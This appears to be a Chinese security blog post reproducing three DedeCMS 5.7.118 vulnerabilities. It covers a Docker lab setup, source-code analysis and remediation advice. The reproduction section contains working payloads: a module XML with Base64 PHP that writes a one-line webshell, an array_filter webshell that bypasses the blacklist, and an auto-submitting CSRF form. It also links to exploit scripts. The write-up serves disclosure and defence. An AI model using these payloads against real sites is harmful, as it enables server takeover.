DedeCMS2026年安全漏洞合集|CVE-2026-30643/CVE-2026-29839/CVE-2026-30694复现与研究—影响最新版本5.7.118

admin 2026-06-15 04:42:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了DedeCMS5.7.118版本的三个高危漏洞:CVE-2026-30643模块上传RCE漏洞允许通过恶意XML文件执行任意代码;CVE-2026-29839CSRF漏洞可未授权添加计划任务;CVE-2026-30694后台代码执行漏洞利用array_filter绕过过滤。文章提供了完整的Docker环境搭建步骤、Python利用脚本及手动复现方法,建议用户立即升级或删除install目录防范。 综合评分: 83 文章分类: 漏洞分析,WEB安全,应急响应,安全工具,实战经验


cover_image

DedeCMS 2026年安全漏洞合集 | CVE-2026-30643 / CVE-2026-29839 / CVE-2026-30694 复现与研究 — 影响最新版本 5.7.118

原创

404号浪漫 404号浪漫

404号浪漫

2026年6月2日 14:58 北京

在小说阅读器读本章

去阅读

点击蓝字,关注我们

0x0 背景介绍

DedeCMS(织梦内容管理系统)是一款基于PHP的开源内容管理系统,广泛用于企业网站建设。

DedeCMS 5.7.118 模块上传RCE(CVE-2026-30643)

在5.7.118版本中,其模块管理功能在处理上传的模块包时,未对模块配置文件中的setup标签值进行严格过滤。攻击者通过上传含有恶意构造setup标签的模块文件,可在系统解析安装模块时触发PHP代码执行,从而完全控制服务器。

DedeCMS <= 5.7.118 计划任务CSRF漏洞(CVE-2026-29839)

后台管理文件/sys_task_add.php 在处理添加计划任务的请求时,未实现跨站请求伪造(CSRF)防护机制,缺少对随机Token的校验。攻击者可以通过构造恶意网页并诱导已登录后台的管理员访问,从而以管理员身份在系统内创建恶意的计划任务,通过计划任务执行脚本逻辑可能进一步导致服务器权限丢失RCE。

DedeCMS <= 5.7.118 远程代码执行漏洞(CVE-2026-30694)

漏洞源于后台文件管理组件对用户输入过滤不严。攻击者通过利用PHP array_filter 函数的特性,构造恶意的回调函数参数,从而绕过系统的黑名单校验。远程攻击者在获取后台权限后,可利用此漏洞执行任意PHP代码,最终获取服务器Webshell。

#

漏洞详情

| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 文件上传 CSRF 代码执行 | ≤ 5.7.118 | 低 | CVE-2026-30643 CVE-2026-29839 CVE-2026-30694 |

攻击效果:

  • CVE-2026-30643、CVE-2026-30694均可直接导致 RCE,CSRF漏洞需配合其他漏洞才能达成 RCE,但单独也能破坏计划任务完整性。

0x1 环境搭建(Ubuntu24)

1.Ubuntu24+Docker搭建配置

#!/bin/bash# CVE-2026-30643 漏洞环境搭建脚本# 基于 php:5.6-apache + Debian 归档源(跳过 GPG 验证)set&nbsp;-e[&nbsp;"$(id -u)"&nbsp;-ne 0 ] &&&nbsp;echo&nbsp;"[!] 请以 root 或 sudo 运行。"&nbsp;&&&nbsp;exit&nbsp;1# ── 阶段1:环境检查 ──if&nbsp;!&nbsp;command&nbsp;-v docker &> /dev/null;&nbsp;then&nbsp; &nbsp; apt update && apt install -y docker.io&nbsp; &nbsp; systemctl&nbsp;enable&nbsp;--now dockerfiif&nbsp;! docker compose version &> /dev/null;&nbsp;then&nbsp; &nbsp; apt install -y docker-compose-v2fifor&nbsp;tool&nbsp;in&nbsp;wget unzip;&nbsp;do&nbsp; &nbsp;&nbsp;command&nbsp;-v&nbsp;$tool&nbsp;&> /dev/null || apt install -y&nbsp;$tooldoneif&nbsp;! docker ps &> /dev/null;&nbsp;then&nbsp; &nbsp; systemctl start docker&nbsp; &nbsp;&nbsp;sleep&nbsp;2fi# ── 阶段2:创建项目目录 ──WORKDIR="$HOME/dedecms-118-cve"if&nbsp;[ -d&nbsp;"$WORKDIR"&nbsp;];&nbsp;then&nbsp; &nbsp;&nbsp;read&nbsp;-rp&nbsp;"[!] 目录已存在,清空重建?(y/n) "&nbsp;answer&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;"$answer"&nbsp;=&nbsp;"y"&nbsp;];&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cd&nbsp;"$WORKDIR"&nbsp;&& docker compose down -v 2>/dev/null ||&nbsp;true&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cd&nbsp;~ &&&nbsp;rm&nbsp;-rf&nbsp;"$WORKDIR"&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"[-] 取消部署。"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit&nbsp;1&nbsp; &nbsp;&nbsp;fifimkdir&nbsp;-p&nbsp;"$WORKDIR"/www/srccd&nbsp;"$WORKDIR"# ── 阶段3:生成 Dockerfile(允许未认证软件包) ──cat&nbsp;> www/Dockerfile <<'DEOF'FROM php:5.6-apache# 更换为 Debian 归档源,并关闭 GPG 校验(因密钥已过期)RUN&nbsp;printf&nbsp;"deb http://archive.debian.org/debian stretch main\n"&nbsp;> /etc/apt/sources.list && \&nbsp; &nbsp;&nbsp;printf&nbsp;"deb http://archive.debian.org/debian stretch-proposed-updates main\n"&nbsp;>> /etc/apt/sources.list && \&nbsp; &nbsp;&nbsp;echo&nbsp;'Acquire::Check-Valid-Until "false";'&nbsp;> /etc/apt/apt.conf.d/99no-check-valid-until && \&nbsp; &nbsp;&nbsp;echo&nbsp;'APT::Get::AllowUnauthenticated "true";'&nbsp;> /etc/apt/apt.conf.d/99allow-unauthenticated && \&nbsp; &nbsp;&nbsp;echo&nbsp;'Acquire::AllowInsecureRepositories "true";'&nbsp;>> /etc/apt/apt.conf.d/99allow-unauthenticated && \&nbsp; &nbsp;&nbsp;echo&nbsp;'Acquire::AllowDowngradeToInsecureRepositories "true";'&nbsp;>> /etc/apt/apt.conf.d/99allow-unauthenticated# 安装系统依赖(跳过验证)RUN apt-get update && apt-get install -y --allow-unauthenticated \&nbsp; &nbsp; libpng-dev \&nbsp; &nbsp; libjpeg62-turbo-dev \&nbsp; &nbsp; libfreetype6-dev \&nbsp; &nbsp; libcurl4-gnutls-dev \&nbsp; &nbsp; &&&nbsp;rm&nbsp;-rf /var/lib/apt/lists/*# 编译安装 GD(指定头文件路径)RUN docker-php-ext-configure gd --with-freetype-dir=/usr/include/freetype2 --with-jpeg-dir=/usr/include --with-png-dir=/usr/include \&nbsp; &nbsp; && docker-php-ext-install -j$(nproc) gd# 安装其他 PHP 扩展RUN docker-php-ext-install mysqli mysql mbstring curl# 开启 rewrite 模块RUN a2enmod rewrite# 复制源码(运行时被 volume 覆盖)COPY ./src /var/www/htmlRUN&nbsp;chown&nbsp;-R www-data:www-data /var/www/htmlEXPOSE 80CMD ["apache2-foreground"]DEOF# ── 阶段4:生成 docker-compose.yml ──cat&nbsp;> docker-compose.yml <<'EOF'services:&nbsp; web:&nbsp; &nbsp; build: ./www&nbsp; &nbsp; ports:&nbsp; &nbsp; &nbsp; -&nbsp;"8080:80"&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - ./www/src:/var/www/html&nbsp; &nbsp; depends_on:&nbsp; &nbsp; &nbsp; - db&nbsp; &nbsp; restart: unless-stopped&nbsp; db:&nbsp; &nbsp; image: mysql:5.7&nbsp; &nbsp; environment:&nbsp; &nbsp; &nbsp; MYSQL_ROOT_PASSWORD: root123&nbsp; &nbsp; &nbsp; MYSQL_DATABASE: dedecmsv57&nbsp; &nbsp; &nbsp; MYSQL_USER: dedeuser&nbsp; &nbsp; &nbsp; MYSQL_PASSWORD: dedepass&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - ./db_data:/var/lib/mysql&nbsp; &nbsp; ports:&nbsp; &nbsp; &nbsp; -&nbsp;"3306:3306"&nbsp; &nbsp; restart: unless-stoppedEOF# ── 阶段5:下载源码并部署 ──ZIP_URL="https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip"ZIP_FILE="DedeCMS-V5.7.118-UTF8.zip"if&nbsp;[ ! -f&nbsp;"$ZIP_FILE"&nbsp;];&nbsp;then&nbsp; &nbsp; wget --no-check-certificate -q --show-progress&nbsp;"$ZIP_URL"&nbsp;-O&nbsp;"$ZIP_FILE"firm&nbsp;-rf dede_tmpunzip -qo&nbsp;"$ZIP_FILE"&nbsp;-d dede_tmpif&nbsp;[ -d&nbsp;"dede_tmp/uploads"&nbsp;];&nbsp;then&nbsp; &nbsp;&nbsp;cp&nbsp;-rf dede_tmp/uploads/* www/src/elif&nbsp;[ -d&nbsp;"dede_tmp/DedeCMS-V5.7.118-UTF8/uploads"&nbsp;];&nbsp;then&nbsp; &nbsp;&nbsp;cp&nbsp;-rf dede_tmp/DedeCMS-V5.7.118-UTF8/uploads/* www/src/else&nbsp; &nbsp; INDEXDIR=$(find dede_tmp -name&nbsp;"index.php"&nbsp;-type&nbsp;f -exec&nbsp;dirname&nbsp;{} \; |&nbsp;head&nbsp;-n1)&nbsp; &nbsp; [ -n&nbsp;"$INDEXDIR"&nbsp;] &&&nbsp;cp&nbsp;-rf&nbsp;"$INDEXDIR"/* www/src/ || {&nbsp;echo&nbsp;"[!] 源码结构异常";&nbsp;exit&nbsp;1; }firm&nbsp;-rf dede_tmp&nbsp;"$ZIP_FILE"chmod&nbsp;-R 755 www/srcfor&nbsp;dir&nbsp;in&nbsp;data uploads templets special html;&nbsp;do&nbsp; &nbsp; [ -d&nbsp;"www/src/$dir"&nbsp;] &&&nbsp;chmod&nbsp;-R 777&nbsp;"www/src/$dir"&nbsp;2>/dev/null ||&nbsp;truedone# ── 阶段6:构建并启动 ──docker compose down -v 2>/dev/null ||&nbsp;truedocker compose build --no-cache webdocker compose up -decho&nbsp;"[+] 等待 MySQL 初始化..."sleep&nbsp;25docker compose&nbsp;exec&nbsp;-T web&nbsp;chown&nbsp;-R www-data:www-data /var/www/html 2>/dev/null || \&nbsp; &nbsp;&nbsp;echo&nbsp;"[!] 权限修正跳过,稍后可手动执行。"SERVER_IP=$(hostname -I | awk&nbsp;'{print $1}')echo&nbsp;""echo&nbsp;"=============================================="echo&nbsp;" DedeCMS 5.7.118 环境搭建完成!"echo&nbsp;" 安装向导: http://${SERVER_IP}:8080/install/index.php"echo&nbsp;" 数据库: 服务器=db , 库=dedecmsv57 , 用户=dedeuser , 密码=dedepass"echo&nbsp;" 安装后请删除 install 目录: cd&nbsp;$WORKDIR&nbsp;&& docker compose exec web rm -rf /var/www/html/install"echo&nbsp;"=============================================="

0x2 漏洞复现

1.Python脚本

  • ### 一共三个单独脚本(有一个脚本报毒是因为内置了一句话木马)
https://github.com/Kai-One001/cve-/blob/main/CVE-2026-29839_DedeCMS_CSRF.htmlhttps://github.com/Kai-One001/cve-/blob/main/CVE-2026-30643_DedeCMS_RCE.pyhttps://github.com/Kai-One001/cve-/blob/main/CVE-2026-30694_DedeCMS_RCE.py

2.手动复现步骤

2.1 CVE-2026-30643 模块上传RCE

前置条件

•已获取后台管理员账号,且拥有 sys_module(模块管理)权限
•目录 data/module/ 可写

复现步骤

  • 构造恶意模块 XML 文件(扩展名 .xml),在 <setup> 标签内写入 Base64 编码的 PHP 代码(安装时会被解码并写入 {hash}-setup.php 后 include 执行)
  • 登录后台 → 模块管理 → 上传模块,上传该 XML 文件
  • 上传成功后跳转至模块详情页,点击 安装
  • 确认安装(action=setupstart),触发 include 执行 setup 脚本,Webshell 写入指定路径

恶意模块 XML 示例(节选)

<module><baseinfo>name=EvilModuleteam=Attackertime=2026-01-01email=evil@evil.comurl=http://evil.comhash=deadbeefdeadbeefdeadbeefdeadbeefindexname=indexurl=ismember=0autosetup=0autodel=0lang=utf-8moduletype=soft</baseinfo><systemfile><menustring></menustring><readme></readme><setup>PD9waHAKQGZpbGVfcHV0X2NvbnRlbnRzKGRpcm5hbWUoX19GSUxFX18pLiIvLi4vcGhvL3NoZWxsLnBocCIsICc8P3BocCBldmFsKCRfUE9TVFsiY21kIl0pOz8+Jyk7CmV4aXQoJ01vZHVsZSBJbnN0YWxsIERvbmUnKTs=</setup><uninstall></uninstall></systemfile><modulefiles></modulefiles></module>

上述 Base64 解码后为:file_put_contents 向 ../php/shell.php 写入一句话木马。

关键接口

| 阶段 | 接口 | 方法 | | — | — | — | | 上传 | /dede/module_upload.php?action=upload | POST | | 安装确认 | /dede/module_main.php?action=setup&hash={hash} | GET | | 触发 RCE | /dede/module_main.php?action=setupstart | POST |

2.2 CVE-2026-30694 文件管理黑名单绕过

前置条件

•已获取后台管理员账号,且拥有 plus_文件管理器 权限
•目标目录(如 /plus/)Web 可访问且可写

复现步骤

  • 登录后台 → 文件管理 → 进入可写目录(如 /plus/

    点击 新建文件,文件名设为 shell.php

  • 文件内容写入绕过 Payload,保存(需携带有效 CSRF Token)

  • 浏览器访问 /plus/shell.php?c=id,通过 array_filter 回调执行 system

Payload 示例

<?php&nbsp;$g="_GET";$c="c";array_filter([${$g}[$c]},"system");?>

关键接口

| 阶段 | 接口 | 方法 | | — | — | — | | 编辑页 | /dede/file_manage_view.php?fmdo=newfile&activepath=/plus | GET | | 保存文件 | /dede/file_manage_control.php | POST | | 触发 RCE | /plus/shell.php?c=whoami | GET |

2.3 CVE-2026-29839 计划任务CSRF组合RCE

前置条件

• 受害者为已登录后台的管理员(拥有 sys_Task 权限)
• 攻击者已诱导管理员访问恶意页面,或已通过 CVE-2026-30694 在plus/task/ 目录写入恶意 PHP

组合利用:从 CSRF 到完整 RCE(需结合文件写入漏洞)

  在真实攻击中,攻击者无法直接写入 plus/task/ 目录,但可结合本报告中的 CVE-2026-30694(文件管理黑名单绕过) 将恶意 PHP 写入该目录,再通过 CSRF 创建任务并触发其它高危操作。

CSRF Payload 示例(HTML)

<html><bodyonload="document.forms[0].submit()"><formaction="http://target.com/dede/sys_task_add.php"method="POST"><inputname="dopost"value="save"/><inputname="taskname"value="System Update"/><inputname="dourl"value="evil.php"/><inputname="description"value="auto"/><inputname="nislock"value="0"/><inputname="runtype"value="0"/>&nbsp;&nbsp;<input&nbsp;name="h"&nbsp;value="0"&nbsp;/>&nbsp;&nbsp;<input&nbsp;name="m"&nbsp;value="0"&nbsp;/>&nbsp;&nbsp;<input&nbsp;name="freq"&nbsp;value="1"&nbsp;/>&nbsp;&nbsp;<input&nbsp;name="parameter"&nbsp;value=""&nbsp;/></form></body></html>

关键接口

| 阶段 | 接口 | 方法 | | — | — | — | | CSRF 注入任务 | /dede/sys_task_add.php | POST (dopost=save) | | 任务调度 | /plus/task.php | GET | | 执行恶意脚本 | /plus/task/evil.php | GET(由调度器跳转触发) |

3.复现流量特征 (PCAP)

  • ### 项目地址-三合一
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE-2026-30643%26CVE-2026-29839%26CVE-2026-30694_DedeCMS_5.7.118.pcap
  • ## 流量节选

#


0x3 漏洞原理分析

3.1-CVE-2026-30643:模块 <setup> 标签的信任链问题

3.1.1-上传入口:模块包被当作可信安装

三个历史漏洞,影响最新版本,本次就大概过一下核心代码问题。

后台模块管理的上传入口module_upload.php。该文件在action=upload时接收管理员上传的模块包,将其保存至data/module/目录,并调用DedeModule::GetModuleInfo()解析 XML 头部<baseinfo>获取 hash 等元信息。

// uploads/dede/module_upload.phpif($action=='upload'){&nbsp; &nbsp;&nbsp;if( !is_uploaded_file($upfile) )&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ShowMsg("貌似你什么都没有上传哦!",&nbsp;"javascript:;");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp;&nbsp;$dm&nbsp;=&nbsp;new&nbsp;DedeModule($mdir);&nbsp; &nbsp;&nbsp;$infos&nbsp;=&nbsp;$dm->GetModuleInfo($tmpfilename,'file');&nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp;&nbsp;copy($tmpfilename,$okfile);&nbsp; &nbsp;&nbsp;ShowMsg("成功上传一个新的模块!","module_main.php?action=view&hash={$infos['hash']}");}

上传阶段仅校验 XML 是否包含合法hash字段,并未对<setup><uninstall> 等系统文件段的内容做任何语义审查。

3.1.2-逻辑缺陷:setup 脚本解码后直接使用

接着看向安装流程。在module_main.phpaction=setupstart分支中,系统调用WriteSystemFile($hash, 'setup')将XML内<setup>标签的内容 Base64 解码后写入{hash}-setup.php,随后直接 include 该文件

// uploads/dede/module_main.php&nbsp; &nbsp;&nbsp;$dm->WriteFiles($hash,&nbsp;$isreplace,&nbsp;$install);&nbsp; &nbsp;&nbsp;$filename&nbsp;=&nbsp;'';&nbsp; &nbsp;&nbsp;if(!isset($autosetup) ||&nbsp;$autosetup==0)&nbsp;$filename&nbsp;=&nbsp;$dm->WriteSystemFile($hash,&nbsp;'setup');&nbsp; &nbsp;&nbsp;if(!isset($autodel) ||&nbsp;$autodel==0)&nbsp;$dm->WriteSystemFile($hash,&nbsp;'uninstall');&nbsp; &nbsp;&nbsp;$dm->WriteSystemFile($hash,'readme');&nbsp; &nbsp;&nbsp;$dm->Clear();
&nbsp; &nbsp;&nbsp;//用模块的安装程序安装&nbsp; &nbsp;&nbsp;if(!isset($autosetup) ||&nbsp;$autosetup==0)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;include(DEDEDATA.'/module/'.$filename);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();&nbsp; &nbsp; }

GetSystemFile()<setup>的处理未做校验,直接读取标签内容、Base64 解码、返回原始字符串:

// uploads/include/dedemodule.class.php&nbsp; &nbsp;&nbsp;function&nbsp;GetSystemFile($hashcode,&nbsp;$ntype,&nbsp;$enCode=TRUE)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while(!feof($fp))&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$line&nbsp;=&nbsp;fgets($fp,1024);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!$start)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(preg_match("#<{$ntype}>#i",&nbsp;$line))&nbsp;$start&nbsp;=&nbsp;TRUE;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(preg_match("#<\/{$ntype}#i",&nbsp;$line))&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$okdata&nbsp;.=&nbsp;$line;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!empty($okdata) &&&nbsp;$enCode)&nbsp;$okdata&nbsp;=&nbsp;base64_decode($okdata);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$okdata;&nbsp; &nbsp; }

采用 Base64 编码避免 XML 特殊字符冲突。但 Base64 不是加密,它只是一种编码。

第二个是系统对模块包内<file>段写入的文件做了eval|assert正则检测,却对<setup>段完全豁免,导致把恶意PHP 放进<setup> 即可绕过文件写入检测,在安装时以 setup 脚本身份执行。

3.1.3-攻击链路:从 XML 注入到 PHP 代码执行

完整调用链

攻击者构造 XML (<setup> 含 Base64 PHP)&nbsp; → module_upload.php&nbsp;[注入点:upfile]&nbsp; → DedeModule::GetModuleInfo() 解析 hash&nbsp; → module_main.php?action=setupstart&nbsp; → DedeModule::WriteSystemFile('setup') 解码写入 {hash}-setup.php&nbsp; → include(data/module/{hash}-setup.php)&nbsp;[爆发点:任意代码执行]&nbsp; → file_put_contents() 写入 Webshell

3.2-CVE-2026-30694:黑名单正则的”拼图式”失效

3.2.1-检测入口:文件保存前的无用功

file_manage_control.phptpl.php的顶部发现一段”危险函数黑名单”检测逻辑,它在文件内容写入磁盘之前对 $str(或 $content)进行正则匹配,意图拦截 PHP 代码注入:

// uploads/dede/file_manage_control.phpglobal&nbsp;$cfg_disable_funs;$cfg_disable_funs&nbsp;=&nbsp;isset($cfg_disable_funs) ?&nbsp;$cfg_disable_funs&nbsp;:&nbsp;'phpinfo,eval,assert,exec,passthru,shell_exec,system,...';$cfg_disable_funs&nbsp;=&nbsp;$cfg_disable_funs.',[$]GLOBALS,[$]_GET,...,array_filert,getallheaders';foreach&nbsp;(explode(",",&nbsp;$cfg_disable_funs)&nbsp;as&nbsp;$value) {&nbsp; &nbsp;&nbsp;$value&nbsp;=&nbsp;str_replace(" ",&nbsp;"",&nbsp;$value);&nbsp; &nbsp;&nbsp;if(!empty($value) &&&nbsp;preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i",&nbsp;"&nbsp;{$str}") ==&nbsp;TRUE) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$str&nbsp;=&nbsp;dede_htmlspecialchars($str);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");&nbsp; &nbsp; }}
  • 可能这块是只要拦截所有危险函数的 直接调用 语法(如 system(eval(),以为这样就能阻止管理员误写或攻击者注入恶意代码
  • 但实际实现存在三处致命拼图缺口,使得这条防线形同虚设。

3.2.2-逻辑缺陷:拼写错误 + 正则语义偏差 + 超全局变量绕过

缺陷一:array_filert 拼写错误

黑名单字符串中写的是 array_filert(多了一个 r 的位置错误),而 PHP 原生函数是 array_filter。这意味着 array_filter 从未进入检测列表,攻击者可以合法地使用这个高危回调函数。

缺陷二:正则只匹配”直接调用”形态

核心正则 #[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i 要求危险函数名之后必须紧跟 ([{ 或 ',即 函数被直接调用的语法。当攻击者写 array_filter([$cmd], "system") 时,"system" 是字符串参数而非函数调用——正则无法匹配 "system") 这种回调注册形态。

缺陷三:超全局变量间接引用

黑名单包含 [$]_GET 试图拦截 $_GET,但 Payload 使用 $g="_GET"; ${$g}[$c] 通过变量变量间接引用,完全绕过了对 $_GET 字面量的检测。

缺陷四(补充):双引号包裹的边界问题

虽然 v5.7.118 中正则字符类 ['\"]* 理论上包含单双引号,但该检测的设计前提是”函数名后紧跟调用括号”。用双引号包裹的函数名作为 回调参数 传递时,其后跟随的是 ) 而非 (,从根本上脱离了正则的匹配语义——无论字符类是否包含双引号,这种 间接调用 模式都不在检测范围内。

3.2.3-攻击链路:绕过黑名单写入 Webshell

完整调用链

攻击者 POST 恶意 PHP 到 file_manage_control.php [注入点:str]&nbsp; → 黑名单&nbsp;foreach&nbsp;检测 (array_filter 未列入 /&nbsp;system&nbsp;非直接调用) [绕过]&nbsp; → csrf_check() 通过 (合法 Token)&nbsp; → fopen + fputs 写入 /plus/shell.php [爆发点:恶意文件落盘]&nbsp; → 访问 /plus/shell.php?c=cmd&nbsp; → array_filter 回调&nbsp;system($cmd) [爆发点:命令执行]

#

3.3-CVE-2026-29839:计划任务的 CSRF 真空与组合 RCE

3.3.1-核心入口:缺失 CSRF 防护的任务创建接口

在对比后台各敏感操作时,注意到sys_task_add.php 的dopost=save 分支 完全没有调用csrf_check()。而同项目的file_manage_control.phpfmdo=edit 时明确调用了 CSRF 校验:

// uploads/dede/sys_task_add.phpif($dopost=='save'){&nbsp; &nbsp;&nbsp;$starttime&nbsp;=&nbsp;empty($starttime) ?&nbsp;0&nbsp;:&nbsp;GetMkTime($starttime);&nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp;&nbsp;$Query&nbsp;=&nbsp;"INSERT INTO `#@__sys_task`(...) VALUES('$taskname', '$dourl', ...)";&nbsp; &nbsp;&nbsp;$rs&nbsp;=&nbsp;$dsql->ExecuteNoneQuery($Query);&nbsp; &nbsp;&nbsp;// 无 csrf_check() !}
// uploads/dede/config.phpfunction&nbsp;csrf_check(){&nbsp; &nbsp;&nbsp;global&nbsp;$token;&nbsp; &nbsp;&nbsp;if(!isset($token) ||&nbsp;strcasecmp($token,&nbsp;$_SESSION['token']) !==&nbsp;0){&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;'<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit;&nbsp; &nbsp; }}
  • 表单模板sys_task_add.htm中同样 没有 hidden token 字段。与之对比file_edit.htm明确包含 <input type="hidden" name="token" ...>
  • 设计者显然知道 CSRF 风险——文件管理、模板编辑等操作均已接入 Token 机制。
  • 但计划任务的增删改被遗漏。任何已登录管理员被诱导访问恶意页面,攻击者即可 零交互 向其后台写入计划任务。

3.3.2-逻辑缺陷:任务调度器执行力度

计划任务调度器plus/task.php从数据库读取islock=0的任务,校验plus/task/{dourl}文件存在后,通过HTTP重定向或输出 URL 的方式 触发该PHP 脚本执行

// uploads/plus/task.php&nbsp; &nbsp;&nbsp;if($isplay)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$dourl&nbsp;=&nbsp;trim($arr['dourl']);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!file_exists("task/$dourl"))&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;($client=='js'&nbsp;?&nbsp;''&nbsp;:&nbsp;'notask');&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if($client=='js')&nbsp;header("location:{$cfg_phpurl}/task/{$dourl}");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;echo&nbsp;"{$cfg_phpurl}/task/{$dourl}";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
  • 调度器只检查”文件是否存在”,不验证任务创建者身份、不校验脚本内容合法性。

  • 结合 CSRF 漏洞,攻击者可以:

    ① 通过文件管理器(CVE-2)向 plus/task/ 写入 Webshell;

    ② 通过 CSRF 创建指向该 Webshell 的计划任务;

    ③ 等待调度触发,实现 无需再次登录后台 的持久化 RCE。

3.3.3-攻击链路:CSRF + 文件写入的组合拳

完整调用链

[阶段A - 可选] file_manage_control.php 写入 plus/task/evil.php&nbsp; ↓[阶段B] 攻击者托管 CSRF 页面&nbsp; → 受害者管理员浏览器自动 POST sys_task_add.php [注入点:dourl=evil.php]&nbsp; → INSERT INTO sys_task (无 CSRF 校验) [爆发点:恶意任务入库]&nbsp; ↓[阶段C] plus/task.php 调度触发&nbsp; → header("location:.../plus/task/evil.php")&nbsp; → evil.php 被 Web 引擎解析执行 [爆发点:RCE]

0x4 修复建议

1、暂无最新版本:需持续关注官方动态

https://www.dedecms.com/

2、修复方案汇总

CVE-2026-30643 模块上传 RCE

  1. 禁止直接 include setup 脚本:将include({hash}-setup.php)改为白名单函数调用或沙箱化执行环境;至少对setup内容做PHP语法解析 + 危险函数静态扫描。
  2. 统一安全检测:对<setup>、<uninstall>标签内容应用与WriteFiles()相同级别的危险代码检测,不应存在检测盲区。
  3. 禁用非官方模块上传(临时措施):在module_upload.php增加开关,生产环境默认关闭模块上传功能。

CVE-2026-30694 文件管理黑名单绕过

  1. 修正拼写错误:将array_filert更正为array_filter,并补充array_walk、array_map、usort、uasort等回调类函数。
  2. 增强检测逻辑:除”直接调用”检测外,增加对函数名作为字符串参数出现场景的检测(如 ,"system"、'system'出现在回调上下文)。
  3. 禁止编辑 PHP 文件(推荐):文件管理器中禁止创建/编辑.php、.inc等可执行扩展名,模板编辑器限制为.htm/.html/.css/.js
  4. 完善正则:对超全局变量检测改用AST级别分析,而非简单字面量匹配。

CVE-2026-29839 计划任务 CSRF

  1. 添加 CSRF Token:在sys_task_add.phpsys_task_edit.php的save分支调用csrf_check(),表单中添加make_hash()生成的hidden token。
  2. 任务脚本白名单dourl字段仅允许选择plus/task/目录下预注册的官方脚本,禁止任意文件名。
  3. 二次确认:创建/修改计划任务时要求管理员输入密码或验证码。

临时防护措施

| 漏洞 | 临时措施 | | — | — | | 模块上传 | 删除/重命名module_upload.php;对data/module/目录设置不可通过Web访问 | | 文件管理 | 禁止Web目录可写;删除file_manage_main.php入口或收回plus_文件管理器 权限 | | 计划任务 | 限制sys_task_add.php仅内网IP可访问;禁用前台plus/task.php JS触发 |

通用加固(根据自己的环境来)

  • 配置open_basedir限制PHP文件访问范围
  • php.ini中禁用system、exec、passthru、shell_exec、proc_open、popen等危险函数
  • Web根目录下除uploads/外均设为不可写
  • 后台管理目录绑定独立域名或IP白名单,启用HTTPS + HttpOnly Cookie
  • 部署WAF规则拦截模块XML中的Base64编码PHP特征及array_filter回调类 Payload

其它建议

  • 建立后台操作审计日志,对模块安装、文件写入、计划任务变更记录操作者与 IP
  • 定期扫描Web目录下的新增.php文件(河马扫描:https://www.shellpub.com/)
  • 最小权限原则:仅授予必要管理员所需权限,避免所有管理员拥有sys_module和文件管理器权限

